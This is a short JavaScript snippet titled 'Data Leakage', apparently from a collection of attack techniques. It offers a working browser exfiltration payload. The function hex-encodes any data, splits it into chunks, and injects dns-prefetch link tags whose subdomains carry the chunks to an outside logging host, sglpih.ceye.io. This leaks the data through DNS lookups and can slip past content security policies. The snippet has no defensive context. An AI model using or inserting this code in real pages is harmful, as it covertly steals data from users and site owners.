Data Leakage #data #leakage #dns #prefetch

dns_prefetch.js

function sendData(data, tag = "t") {
    if (data.length <= 0) {
        return;
    }
    // str2hex
    var val = "";
    var html = "";
    for (var i = 0; i < data.length; i++) {
        val += data.charCodeAt(i).toString(16);
    }
    // send bby dns-prefetch
    for (var j = 0; j < 100; j++) {
        var tt = val.substr(j * 48, 48);
        if (tt.length == 0) break;
        html += `<link rel="dns-prefetch" href="//${tag}_${j}_${tt}.sglpih.ceye.io">`;
    }
    document.head.innerHTML += html;
}